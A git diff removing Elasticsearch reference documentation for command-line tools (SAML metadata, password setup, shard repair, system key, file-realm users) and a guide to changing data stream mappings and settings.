-`<ContactPerson>` elements. The user will be prompted to enter the details for
-each person.
-
-`-E <KeyValuePair>`:: Configures an {es} setting.
-
-`-h, --help`:: Returns all of the command parameters.
-
-`--locale <name>`:: Specifies the locale to use for metadata elements such as
-`<ServiceName>`. Defaults to the JVM's default system locale.
-
-`--organisation-display-name <name`:: Specified the value of the
-`<OrganizationDisplayName>` element.
-Only valid if `--organisation-name` is also specified.
-
-`--organisation-name <name>`:: Specifies that an `<Organization>` element should
-be included in the metadata and provides the value for the `<OrganizationName>`.
-If this is specified, then `--organisation-url` must also be specified.
-
-`--organisation-url <url>`:: Specifies the value of the `<OrganizationURL>`
-element. This is required if `--organisation-name` is specified.
-
-`--out <file_path>`:: Specifies a path for the output files.
-Defaults to `saml-elasticsearch-metadata.xml`
-
-`--service-name <name>`:: Specifies the value for the `<ServiceName>` element in
-the metadata. Defaults to `elasticsearch`.
-
-`--signing-bundle <file_path>`:: Specifies the path to an existing key pair
-(in PKCS#12 format). The private key of that key pair will be used to sign
-the metadata file.
-
-`--signing-cert <file_path>`:: Specifies the path to an existing certificate (in
-PEM format) to be used for signing of the metadata file. You must also specify
-the `--signing-key` parameter. This parameter cannot be used with the
-`--signing-bundle` parameter.
-
-`--signing-key <file_path>`:: Specifies the path to an existing key (in PEM format)
-to be used for signing of the metadata file. You must also specify the
-`--signing-cert` parameter. This parameter cannot be used with the
-`--signing-bundle` parameter.
-
-`--signing-key-password <password>`:: Specifies the password for the signing key.
-It can be used with either the `--signing-key` or the `--signing-bundle` parameters.
-
-`--realm <name>`:: Specifies the name of the realm for which the metadata
-should be generated. This parameter is required if there is more than 1 `saml`
-realm in your {es} configuration.
-
-`-s, --silent`:: Shows minimal output.
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-=== Examples
-
-The following command generates a default metadata file for the `saml1` realm:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-saml-metadata --realm saml1
---------------------------------------------------
-
-The file will be written to `saml-elasticsearch-metadata.xml`.
-You may be prompted to provide the "friendlyName" value for any attributes that
-are used by the realm.
-
-The following command generates a metadata file for the `saml2` realm, with a
-`<ServiceName>` of `kibana-finance`, a locale of `en-GB` and includes 
-`<ContactPerson>` elements and an `<Organization>` element:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-saml-metadata --realm saml2 \
-    --service-name kibana-finance \
-    --locale en-GB \
-    --contacts \
-    --organisation-name "Mega Corp. Finance Team" \
-    --organisation-url "http://mega.example.com/finance/"
---------------------------------------------------
-
diff --git a/docs/reference/commands/setup-passwords.asciidoc b/docs/reference/commands/setup-passwords.asciidoc
deleted file mode 100644
index 7a443b492d4..00000000000
--- a/docs/reference/commands/setup-passwords.asciidoc
+++ /dev/null
@@ -1,76 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[setup-passwords]]
-== elasticsearch-setup-passwords
-
-The `elasticsearch-setup-passwords` command sets the passwords for the
-<<built-in-users,built-in users>>.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-setup-passwords auto|interactive
-[-b, --batch] [-h, --help] [-E <KeyValuePair>]
-[-s, --silent] [-u, --url "<URL>"] [-v, --verbose]
---------------------------------------------------
-
-[discrete]
-=== Description
-
-This command is intended for use only during the initial configuration of the
-{es} {security-features}. It uses the
-<<bootstrap-elastic-passwords,`elastic` bootstrap password>>
-to run user management API requests. If your {es} keystore is password protected,
-before you can set the passwords for the built-in users, you must enter the keystore password.
-After you set a password for the `elastic`
-user, the bootstrap password is no longer active and you cannot use this command.
-Instead, you can change passwords by using the *Management > Users* UI in {kib}
-or the <<security-api-change-password,Change Password API>>.
-
-This command uses an HTTP connection to connect to the cluster and run the user
-management requests. If your cluster uses TLS/SSL on the HTTP layer, the command
-automatically attempts to establish the connection by using the HTTPS protocol.
-It configures the connection by using the `xpack.security.http.ssl` settings in
-the `elasticsearch.yml` file. If you do not use the default config directory
-location, ensure that the *ES_PATH_CONF* environment variable returns the
-correct path before you run the `elasticsearch-setup-passwords` command. You can
-override settings in your `elasticsearch.yml` file by using the `-E` command
-option. For more information about debugging connection failures, see
-<<trb-security-setup>>.
-
-[discrete]
-[[setup-passwords-parameters]]
-=== Parameters
-
-`auto`::  Outputs randomly-generated passwords to the console.
-
-`-b, --batch`:: If enabled, runs the change password process without prompting the
-user.
-
-`-E <KeyValuePair>`:: Configures a standard {es} or {xpack} setting.
-
-`-h, --help`:: Shows help information.
-
-`interactive`:: Prompts you to manually enter passwords.
-
-`-s, --silent`:: Shows minimal output.
-
-`-u, --url "<URL>"`:: Specifies the URL that the tool uses to submit the user management API
-requests. The default value is determined from the settings in your
-`elasticsearch.yml` file. If `xpack.security.http.ssl.enabled`  is set to `true`,
-you must specify an HTTPS URL.
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-=== Examples
-
-The following example uses the `-u` parameter to tell the tool where to submit
-its user management API requests:
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-setup-passwords auto -u "http://localhost:9201"
---------------------------------------------------
diff --git a/docs/reference/commands/shard-tool.asciidoc b/docs/reference/commands/shard-tool.asciidoc
deleted file mode 100644
index 42069e50325..00000000000
--- a/docs/reference/commands/shard-tool.asciidoc
+++ /dev/null
@@ -1,123 +0,0 @@
-[[shard-tool]]
-== elasticsearch-shard
-
-In some cases the Lucene index or translog of a shard copy can become corrupted.
-The `elasticsearch-shard` command enables you to remove corrupted parts of the
-shard if a good copy of the shard cannot be recovered automatically or restored
-from backup.
-
-[WARNING]
-You will lose the corrupted data when you run `elasticsearch-shard`.  This tool
-should only be used as a last resort if there is no way to recover from another
-copy of the shard or restore a snapshot.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-shard remove-corrupted-data
-  ([--index <Index>] [--shard-id <ShardId>] | [--dir <IndexPath>])
-  [--truncate-clean-translog]
-  [-E <KeyValuePair>]
-  [-h, --help] ([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-When {es} detects that a shard's data is corrupted, it fails that shard copy and
-refuses to use it. Under normal conditions, the shard is automatically recovered
-from another copy. If no good copy of the shard is available and you cannot
-restore one from a snapshot, you can use `elasticsearch-shard` to remove the
-corrupted data and restore access to any remaining data in unaffected segments.
-
-[WARNING]
-Stop Elasticsearch before running `elasticsearch-shard`.
-
-To remove corrupted shard data use the `remove-corrupted-data` subcommand.
-
-There are two ways to specify the path:
-
-* Specify the index name and shard name with the `--index` and `--shard-id`
-  options.
-* Use the `--dir` option to specify the full path to the corrupted index or
-  translog files.
-
-[discrete]
-==== Removing corrupted data
-
-`elasticsearch-shard` analyses the shard copy and provides an overview of the
-corruption found. To proceed you must then confirm that you want to remove the
-corrupted data.
-
-[WARNING]
-Back up your data before running `elasticsearch-shard`. This is a destructive
-operation that removes corrupted data from the shard.
-
-[source,txt]
---------------------------------------------------
-$ bin/elasticsearch-shard remove-corrupted-data --index my-index-000001 --shard-id 0
-
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-  Please make a complete backup of your index before using this tool.
-
-
-Opening Lucene index at /var/lib/elasticsearchdata/nodes/0/indices/P45vf_YQRhqjfwLMUvSqDw/0/index/
-
- >> Lucene index is corrupted at /var/lib/elasticsearchdata/nodes/0/indices/P45vf_YQRhqjfwLMUvSqDw/0/index/
-
-Opening translog at /var/lib/elasticsearchdata/nodes/0/indices/P45vf_YQRhqjfwLMUvSqDw/0/translog/
-
-
- >> Translog is clean at /var/lib/elasticsearchdata/nodes/0/indices/P45vf_YQRhqjfwLMUvSqDw/0/translog/
-
-
-  Corrupted Lucene index segments found - 32 documents will be lost.
-
-            WARNING:              YOU WILL LOSE DATA.
-
-Continue and remove docs from the index ? Y
-
-WARNING: 1 broken segments (containing 32 documents) detected
-Took 0.056 sec total.
-Writing...
-OK
-Wrote new segments file "segments_c"
-Marking index with the new history uuid : 0pIBd9VTSOeMfzYT6p0AsA
-Changing allocation id V8QXk-QXSZinZMT-NvEq4w to tjm9Ve6uTBewVFAlfUMWjA
-
-You should run the following command to allocate this shard:
-
-POST /_cluster/reroute
-{
-  "commands" : [
-    {
-      "allocate_stale_primary" : {
-        "index" : "index42",
-        "shard" : 0,
-        "node" : "II47uXW2QvqzHBnMcl2o_Q",
-        "accept_data_loss" : false
-      }
-    }
-  ]
-}
-
-You must accept the possibility of data loss by changing the `accept_data_loss` parameter to `true`.
-
-Deleted corrupt marker corrupted_FzTSBSuxT7i3Tls_TgwEag from /var/lib/elasticsearchdata/nodes/0/indices/P45vf_YQRhqjfwLMUvSqDw/0/index/
-
---------------------------------------------------
-
-When you use `elasticsearch-shard` to drop the corrupted data, the shard's
-allocation ID changes. After restarting the node, you must use the
-<<cluster-reroute,cluster reroute API>> to tell Elasticsearch to use the new ID.
-The `elasticsearch-shard` command shows the request that you need to submit.
-
-You can also use the `-h` option to get a list of all options and parameters
-that the `elasticsearch-shard` tool supports.
-
-Finally, you can use the `--truncate-clean-translog` option to truncate the
-shard's translog even if it does not appear to be corrupt.
diff --git a/docs/reference/commands/syskeygen.asciidoc b/docs/reference/commands/syskeygen.asciidoc
deleted file mode 100644
index a42bb3b6bd7..00000000000
--- a/docs/reference/commands/syskeygen.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[syskeygen]]
-== elasticsearch-syskeygen
-
-The `elasticsearch-syskeygen` command creates a system key file in the
-elasticsearch config directory.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-syskeygen
-[-E <KeyValuePair>] [-h, --help]
-([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-The command generates a `system_key` file, which you can use to symmetrically
-encrypt sensitive data. For example, you can use this key to prevent {watcher}
-from returning and storing information that contains clear text credentials. See
-<<encrypting-data>>. 
-
-IMPORTANT: The system key is a symmetric key, so the same key must be used on
-every node in the cluster.
-
-[discrete]
-[[syskeygen-parameters]]
-=== Parameters
-
-`-E <KeyValuePair>`:: Configures a setting. For example, if you have a custom
-installation of {es}, you can use this parameter to specify the `ES_PATH_CONF`
-environment variable.
-
-`-h, --help`:: Returns all of the command parameters.
-
-`-s, --silent`:: Shows minimal output.
-
-`-v, --verbose`:: Shows verbose output.
-
-
-[discrete]
-=== Examples
-
-The following command generates a `system_key` file in the
-default `$ES_HOME/config` directory:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-syskeygen
---------------------------------------------------
diff --git a/docs/reference/commands/users-command.asciidoc b/docs/reference/commands/users-command.asciidoc
deleted file mode 100644
index dca812db06f..00000000000
--- a/docs/reference/commands/users-command.asciidoc
+++ /dev/null
@@ -1,137 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[users-command]]
-== elasticsearch-users
-
-If you use file-based user authentication, the `elasticsearch-users` command
-enables you to add and remove users, assign user roles, and manage passwords.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-users
-([useradd <username>] [-p <password>] [-r <roles>]) |
-([list] <username>) |
-([passwd <username>] [-p <password>]) |
-([roles <username>] [-a <roles>] [-r <roles>]) |
-([userdel <username>])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-If you use the built-in `file` internal realm, users are defined in local files
-on each node in the cluster.
-
-Usernames and roles must be at least 1 and no more than 1024 characters. They
-can contain alphanumeric characters (`a-z`, `A-Z`, `0-9`), spaces, punctuation,
-and printable symbols in the
-{wikipedia}/Basic_Latin_(Unicode_block)[Basic Latin (ASCII) block].
-Leading or trailing whitespace is not allowed.
-
-Passwords must be at least 6 characters long.
-
-For more information, see <<file-realm>>.
-
-TIP: To ensure that {es} can read the user and role information at startup, run
-`elasticsearch-users useradd` as the same user you use to run {es}. Running the
-command as root or some other user updates the permissions for the `users` and
-`users_roles` files and prevents {es} from accessing them.
-
-[discrete]
-[[users-command-parameters]]
-=== Parameters
-
-`-a <roles>`:: If used with the `roles` parameter, adds a comma-separated list
-of roles to a user.
-
-//`-h, --help`:: Returns all of the command parameters.
-
-`list`:: List the users that are registered with the `file` realm
-on the local node. If you also specify a user name, the command provides
-information for that user.
-
-`-p <password>`:: Specifies the user's password. If you do not specify this
-parameter, the command prompts you for the password.
-+
---
-TIP: Omit the `-p` option to keep
-plaintext passwords out of the terminal session's command history.
-
---
-
-`passwd <username>`:: Resets a user's password. You can specify the new
-password directly with the `-p` parameter.
-
-`-r <roles>`::
-* If used with the `useradd` parameter, defines a user's roles. This option
-accepts a comma-separated list of role names to assign to the user.
-* If used with the `roles` parameter, removes a comma-separated list of roles
-from a user.
-
-`roles`:: Manages the roles of a particular user. You can combine adding and
-removing roles within the same command to change a user's roles.
-
-//`-s, --silent`:: Shows minimal output.
-
-`useradd <username>`:: Adds a user to your local node.
-
-`userdel <username>`:: Deletes a user from your local node.
-
-//`-v, --verbose`:: Shows verbose output.
-
-//[discrete]
-//=== Authorization
-
-[discrete]
-=== Examples
-
-The following example adds a new user named `jacknich` to the `file` realm. The
-password for this user is `theshining`, and this user is associated with the
-`network` and `monitoring` roles.
-
-[source,shell]
--------------------------------------------------------------------
-bin/elasticsearch-users useradd jacknich -p theshining -r network,monitoring
--------------------------------------------------------------------
-
-The following example lists the users that are registered with the `file` realm
-on the local node:
-
-[source, shell]
-----------------------------------
-bin/elasticsearch-users list
-rdeniro        : admin
-alpacino       : power_user
-jacknich       : monitoring,network
-----------------------------------
-
-Users are in the left-hand column and their corresponding roles are listed in
-the right-hand column.
-
-The following example resets the `jacknich` user's password:
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-users passwd jachnich
---------------------------------------------------
-
-Since the `-p` parameter was omitted, the command prompts you to enter and
-confirm a password in interactive mode.
-
-The following example removes the `network` and `monitoring` roles from the
-`jacknich` user and adds the `user` role:
-
-[source,shell]
-------------------------------------------------------------
-bin/elasticsearch-users roles jacknich -r network,monitoring -a user
-------------------------------------------------------------
-
-The following example deletes the `jacknich` user:
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-users userdel jacknich
---------------------------------------------------
diff --git a/docs/reference/data-management.asciidoc b/docs/reference/data-management.asciidoc
deleted file mode 100644
index dc5ca9bd7f2..00000000000
--- a/docs/reference/data-management.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[role="xpack"]
-[[data-management]]
-= Data management
-
-[partintro]
---
-The data you store in {es} generally falls into one of two categories:
-
-* Content: a collection of items you want to search, such as a catalog of products
-* Time series data: a stream of continuously-generated timestamped data, such as log entries
-
-Content might be frequently updated, 
-but the value of the content remains relatively constant over time. 
-You want to be able to retrieve items quickly regardless of how old they are. 
-
-Time series data keeps accumulating over time, so you need strategies for 
-balancing the value of the data against the cost of storing it. 
-As it ages, it tends to become less important and less-frequently accessed, 
-so you can move it to less expensive, less performant hardware. 
-For your oldest data, what matters is that you have access to the data. 
-It's ok if queries take longer to complete.
-
-To help you manage your data, {es} enables you to:
-
-* Define <<data-tiers, multiple tiers>> of data nodes with different performance characteristics.
-* Automatically transition indices through the data tiers according to your performance needs and retention policies
-with <<index-lifecycle-management, {ilm}>> ({ilm-init}). 
-* Leverage <<searchable-snapshots, searchable snapshots>> stored in a remote repository to provide resiliency 
-for your older indices while reducing operating costs and maintaining search performance.  
-* Perform <<async-search-intro, asynchronous searches>> of data stored on less-performant hardware.
---
-
-include::datatiers.asciidoc[]
-
-include::indices/index-mgmt.asciidoc[]
diff --git a/docs/reference/data-rollup-transform.asciidoc b/docs/reference/data-rollup-transform.asciidoc
deleted file mode 100644
index 81ed4a50788..00000000000
--- a/docs/reference/data-rollup-transform.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-[[data-rollup-transform]]
-= Roll up or transform your data
-
-[partintro]
---
-
-{es} offers the following methods for manipulating your data:
-
-* <<xpack-rollup,Rolling up your historical data>>
-+
-include::rollup/index.asciidoc[tag=rollup-intro]
-* <<transforms,Transforming your data>>
-+
-include::transform/transforms.asciidoc[tag=transform-intro]
-
---
-
-include::rollup/index.asciidoc[]
-
-include::transform/index.asciidoc[]
diff --git a/docs/reference/data-streams/change-mappings-and-settings.asciidoc b/docs/reference/data-streams/change-mappings-and-settings.asciidoc
deleted file mode 100644
index fb828b5a770..00000000000
--- a/docs/reference/data-streams/change-mappings-and-settings.asciidoc
+++ /dev/null
@@ -1,673 +0,0 @@
-[role="xpack"]
-[[data-streams-change-mappings-and-settings]]
-== Change mappings and settings for a data stream
-
-Each data stream has a <<create-a-data-stream-template,matching index
-template>>. Mappings and index settings from this template are applied to new
-backing indices created for the stream. This includes the stream's first
-backing index, which is auto-generated when the stream is created.
-
-Before creating a data stream, we recommend you carefully consider which
-mappings and settings to include in this template.
-
-If you later need to change the mappings or settings for a data stream, you have
-a few options:
-
-* <<add-new-field-mapping-to-a-data-stream>>
-* <<change-existing-field-mapping-in-a-data-stream>>
-* <<change-dynamic-index-setting-for-a-data-stream>>
-* <<change-static-index-setting-for-a-data-stream>>
-
-TIP: If your changes include modifications to existing field mappings or
-<<index-modules-settings,static index settings>>, a reindex is often required to
-apply the changes to a data stream's backing indices. If you are already
-performing a reindex, you can use the same process to add new field
-mappings and change <<index-modules-settings,dynamic index settings>>. See
-<<data-streams-use-reindex-to-change-mappings-settings>>.
-
-////
-[source,console]
-----
-PUT /_ilm/policy/my-data-stream-policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover": {
-            "max_size": "25GB"
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { }
-}
-
-PUT /_index_template/new-data-stream-template
-{
-  "index_patterns": [ "new-data-stream*" ],
-  "data_stream": { }
-}
-
-PUT /_data_stream/my-data-stream
-
-POST /my-data-stream/_rollover/
-
-PUT /_data_stream/new-data-stream
-----
-// TESTSETUP
-
-[source,console]
-----
-DELETE /_data_stream/*
-
-DELETE /_index_template/*
-
-DELETE /_ilm/policy/my-data-stream-policy
-----
-// TEARDOWN
-////
-
-[discrete]
-[[add-new-field-mapping-to-a-data-stream]]
-=== Add a new field mapping to a data stream
-
-To add a mapping for a new field to a data stream, following these steps:
-
-. Update the index template used by the data stream. This ensures the new
-field mapping is added to future backing indices created for the stream.
-+
---
-For example, `my-data-stream-template` is an existing index template used by
-`my-data-stream`.
-
-The following <<index-templates,put index template>> request adds a mapping
-for a new field, `message`, to the template.
-
-[source,console]
-----
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { },
-  "priority": 200,
-  "template": {
-    "mappings": {
-      "properties": {
-        "message": {                              <1>
-          "type": "text"
-        }
-      }
-    }
-  }
-}
-----
-<1> Adds a mapping for the new `message` field.
---
-
-. Use the <<indices-put-mapping,put mapping API>> to add the new field mapping
-to the data stream. By default, this adds the mapping to the stream's existing
-backing indices, including the write index.
-+
---
-The following put mapping API request adds the new `message` field mapping to
-`my-data-stream`.
-
-[source,console]
-----
-PUT /my-data-stream/_mapping
-{
-  "properties": {
-    "message": {
-      "type": "text"
-    }
-  }
-}
-----
---
-+
-To add the mapping only to the stream's write index, set the put mapping API's
-`write_index_only` query parameter to `true`.
-+
---
-The following put mapping request adds the new `message` field mapping only to
-`my-data-stream`'s write index. The new field mapping is not added to
-the stream's other backing indices.
-
-[source,console]
-----
-PUT /my-data-stream/_mapping?write_index_only=true
-{
-  "properties": {
-    "message": {
-      "type": "text"
-    }
-  }
-}
-----
---
-
-[discrete]
-[[change-existing-field-mapping-in-a-data-stream]]
-=== Change an existing field mapping in a data stream
-
-The documentation for each <<mapping-params,mapping parameter>> indicates
-whether you can update it for an existing field using the
-<<indices-put-mapping,put mapping API>>. To update these parameters for an
-existing field, follow these steps:
-
-. Update the index template used by the data stream. This ensures the updated
-field mapping is added to future backing indices created for the stream.
-+
---
-For example, `my-data-stream-template` is an existing index template used by
-`my-data-stream`.
-
-The following <<index-templates,put index template>> request changes the
-argument for the `host.ip` field's <<ignore-malformed,`ignore_malformed`>>
-mapping parameter to `true`.
-
-[source,console]
-----
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { },
-  "priority": 200,
-  "template": {
-    "mappings": {
-      "properties": {
-        "host": {
-          "properties": {
-            "ip": {
-              "type": "ip",
-              "ignore_malformed": true            <1>
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----
-<1> Changes the `host.ip` field's `ignore_malformed` value to `true`.
---
-
-. Use the <<indices-put-mapping,put mapping API>> to apply the mapping changes
-to the data stream. By default, this applies the changes to the stream's
-existing backing indices, including the write index.
-+
---
-The following <<indices-put-mapping,put mapping API>> request targets
-`my-data-stream`. The request changes the argument for the `host.ip`
-field's `ignore_malformed` mapping parameter to `true`.
-
-[source,console]
-----
-PUT /my-data-stream/_mapping
-{
-  "properties": {
-    "host": {
-      "properties": {
-        "ip": {
-          "type": "ip",
-          "ignore_malformed": true
-        }
-      }
-    }
-  }
-}
-----
---
-+
-To apply the mapping changes only to the stream's write index, set the put
-mapping API's `write_index_only` query parameter to `true`.
-+
---
-The following put mapping request changes the `host.ip` field's mapping only for
-`my-data-stream`'s write index. The change is not applied to the
-stream's other backing indices.
-
-[source,console]
-----
-PUT /my-data-stream/_mapping?write_index_only=true
-{
-  "properties": {
-    "host": {
-      "properties": {
-        "ip": {
-          "type": "ip",
-          "ignore_malformed": true
-        }
-      }
-    }
-  }
-}
-----
---
-
-Except for supported mapping parameters, we don't recommend you change the
-mapping or field data type of existing fields, even in a data stream's matching
-index template or its backing indices. Changing the mapping of an existing
-field could invalidate any data that’s already indexed.
-
-If you need to change the mapping of an existing field, create a new
-data stream and reindex your data into it. See
-<<data-streams-use-reindex-to-change-mappings-settings>>.
-
-[discrete]
-[[change-dynamic-index-setting-for-a-data-stream]]
-=== Change a dynamic index setting for a data stream
-
-To change a <<index-modules-settings,dynamic index setting>> for a data stream,
-follow these steps:
-
-. Update the index template used by the data stream. This ensures the setting is
-applied to future backing indices created for the stream.
-+
---
-For example, `my-data-stream-template` is an existing index template used by
-`my-data-stream`.
-
-The following <<index-templates,put index template>> request changes the
-template's `index.refresh_interval` index setting to `30s` (30 seconds).
-
-[source,console]
-----
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { },
-  "priority": 200,
-  "template": {
-    "settings": {
-      "index.refresh_interval": "30s"             <1>
-    }
-  }
-}
-----
-<1> Changes the `index.refresh_interval` setting to `30s` (30 seconds).
---
-
-. Use the <<indices-update-settings,update index settings API>> to update the
-index setting for the data stream. By default, this applies the setting to
-the stream's existing backing indices, including the write index.
-+
---
-The following update index settings API request updates the
-`index.refresh_interval` setting for `my-data-stream`.
-
-[source,console]
-----
-PUT /my-data-stream/_settings
-{
-  "index": {
-    "refresh_interval": "30s"
-  }
-}
-----
---
-
-[discrete]
-[[change-static-index-setting-for-a-data-stream]]
-=== Change a static index setting for a data stream
-
-<<index-modules-settings,Static index settings>> can only be set when a backing
-index is created. You cannot update static index settings using the
-<<indices-update-settings,update index settings API>>.
-
-To apply a new static setting to future backing indices, update the index
-template used by the data stream. The setting is automatically applied to any
-backing index created after the update.
-
-For example, `my-data-stream-template` is an existing index template used by
-`my-data-stream`.
-
-The following <<index-templates,put index template API>> requests adds new
-`sort.field` and `sort.order index` settings to the template.
-
-[source,console]
-----
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { },
-  "priority": 200,
-  "template": {
-    "settings": {
-      "sort.field": [ "@timestamp"],             <1>
-      "sort.order": [ "desc"]                    <2>
-    }
-  }
-}
-----
-<1> Adds the `sort.field` index setting.
-<2> Adds the `sort.order` index setting.
-
-If wanted, you can <<manually-roll-over-a-data-stream,roll over the data
-stream>> to immediately apply the setting to the data stream’s write index. This
-affects any new data added to the stream after the rollover. However, it does
-not affect the data stream's existing backing indices or existing data.
-
-To apply static setting changes to existing backing indices, you must create a
-new data stream and reindex your data into it. See
-<<data-streams-use-reindex-to-change-mappings-settings>>.
-
-[discrete]
-[[data-streams-use-reindex-to-change-mappings-settings]]
-=== Use reindex to change mappings or settings
-
-You can use a reindex to change the mappings or settings of a data stream. This
-is often required to change the data type of an existing field or update static
-index settings for backing indices.
-
-To reindex a data stream, first create or update an index template so that it
-contains the wanted mapping or setting changes. You can then reindex the
-existing data stream into a new stream matching the template. This applies the
-mapping and setting changes in the template to each document and backing index
-added to the new data stream. These changes also affect any future backing
-index created by the new stream.
-
-Follow these steps:
-
-. Choose a name or index pattern for a new data stream. This new data
-stream will contain data from your existing stream.
-+
-You can use the resolve index API to check if the name or pattern matches any
-existing indices, index aliases, or data streams. If so, you should consider
-using another name or pattern.
---
-The following resolve index API request checks for any existing indices, index
-aliases, or data streams that start with `new-data-stream`. If not, the
-`new-data-stream*` index pattern can be used to create a new data stream.
-
-[source,console]
-----
-GET /_resolve/index/new-data-stream*
-----
-
-The API returns the following response, indicating no existing targets match
-this pattern.
-
-[source,console-result]
-----
-{
-  "indices": [ ],
-  "aliases": [ ],
-  "data_streams": [ ]
-}
-----
-// TESTRESPONSE[s/"data_streams": \[ \]/"data_streams": $body.data_streams/]
---
-
-. Create or update an index template. This template should contain the
-mappings and settings you'd like to apply to the new data stream's backing
-indices.
-+
-This index template must meet the
-<<create-a-data-stream-template,requirements for a data stream template>>. It
-should also contain your previously chosen name or index pattern in the
-`index_patterns` property.
-+
-TIP: If you are only adding or changing a few things, we recommend you create a
-new template by copying an existing one and modifying it as needed.
-+
---
-For example, `my-data-stream-template` is an existing index template used by
-`my-data-stream`.
-
-The following <<index-templates,put index template API>> request creates a new
-index template, `new-data-stream-template`. `new-data-stream-template`
-uses `my-data-stream-template` as its basis, with the following
-changes:
-
-* The index pattern in `index_patterns` matches any index or data stream
-  starting with `new-data-stream`.
-* The `@timestamp` field mapping uses the `date_nanos` field data type rather
-  than the `date` data type.
-* The template includes `sort.field` and `sort.order` index settings, which were
-  not in the original `my-data-stream-template` template.
-
-[source,console]
-----
-PUT /_index_template/new-data-stream-template
-{
-  "index_patterns": [ "new-data-stream*" ],
-  "data_stream": { },
-  "priority": 200,
-  "template": {
-    "mappings": {
-      "properties": {
-        "@timestamp": {
-          "type": "date_nanos"                 <1>
-        }
-      }
-    },
-    "settings": {
-      "sort.field": [ "@timestamp"],          <2>
-      "sort.order": [ "desc"]                 <3>
-    }
-  }
-}
-----
-<1>  Changes the `@timestamp` field mapping to the `date_nanos` field data type.
-<2>  Adds the `sort.field` index setting.
-<3>  Adds the `sort.order` index setting.
---
-
-. Use the <<indices-create-data-stream,create data stream API>> to manually
-create the new data stream. The name of the data stream must match the index
-pattern defined in the new template's `index_patterns` property.
-+
-We do not recommend <<create-a-data-stream,indexing new data
-to create this data stream>>. Later, you will reindex older data from an
-existing data stream into this new stream. This could result in one or more
-backing indices that contains a mix of new and old data.
-+
-[[data-stream-mix-new-old-data]]
-.Mixing new and old data in a data stream
-[IMPORTANT]
-====
-While mixing new and old data is safe, it could interfere with data retention.
-If you delete older indices, you could accidentally delete a backing index that
-contains both new and old data. To prevent premature data loss, you would need
-to retain such a backing index until you are ready to delete its newest data.
-====
-+
---
-The following create data stream API request targets `new-data-stream`, which
-matches the index pattern for `new-data-stream-template`.
-Because no existing index or data stream uses this name, this request creates
-the `new-data-stream` data stream.
-
-[source,console]
-----
-PUT /_data_stream/new-data-stream
-----
-// TEST[s/new-data-stream/new-data-stream-two/]
---
-
-. If you do not want to mix new and old data in your new data stream, pause the
-indexing of new documents. While mixing old and new data is safe, it could
-interfere with data retention. See <<data-stream-mix-new-old-data,Mixing new and
-old data in a data stream>>.
-
-. If you use {ilm-init} to <<getting-started-index-lifecycle-management,automate
-rollover>>, reduce the {ilm-init} poll interval. This ensures the current write
-index doesn’t grow too large while waiting for the rollover check. By default,
-{ilm-init} checks rollover conditions every 10 minutes.
-+
---
-The following <<cluster-update-settings,update cluster settings API>> request
-lowers the `indices.lifecycle.poll_interval` setting to `1m` (one minute).
-
-[source,console]
-----
-PUT /_cluster/settings
-{
-  "transient": {
-    "indices.lifecycle.poll_interval": "1m"
-  }
-}
-----
---
-
-. Reindex your data to the new data stream using an `op_type` of `create`.
-+
-If you want to partition the data in the order in which it was originally
-indexed, you can run separate reindex requests. These reindex requests can use
-individual backing indices as the source. You can use the
-<<indices-get-data-stream,get data stream API>> to retrieve a list of backing
-indices.
-+
---
-For example, you plan to reindex data from `my-data-stream` into
-`new-data-stream`. However, you want to submit a separate reindex request for
-each backing index in `my-data-stream`, starting with the oldest backing index.
-This preserves the order in which the data was originally indexed.
-
-The following get data stream API request retrieves information about
-`my-data-stream`, including a list of its backing indices.
-
-[source,console]
-----
-GET /_data_stream/my-data-stream
-----
-
-The API returns the following response. Note the `indices` property contains an
-array of the stream's current backing indices. The first item in the array
-contains information about the stream's oldest backing index,
-`.ds-my-data-stream-000001`.
-
-[source,console-result]
-----
-{
-  "data_streams": [
-    {
-      "name": "my-data-stream",
-      "timestamp_field": {
-        "name": "@timestamp"
-      },
-      "indices": [
-        {
-          "index_name": ".ds-my-data-stream-000001",        <1>
-          "index_uuid": "Gpdiyq8sRuK9WuthvAdFbw"
-        },
-        {
-          "index_name": ".ds-my-data-stream-000002",
-          "index_uuid": "_eEfRrFHS9OyhqWntkgHAQ"
-        }
-      ],
-      "generation": 2,
-      "status": "GREEN",
-      "template": "my-data-stream-template"
-    }
-  ]
-}
-----
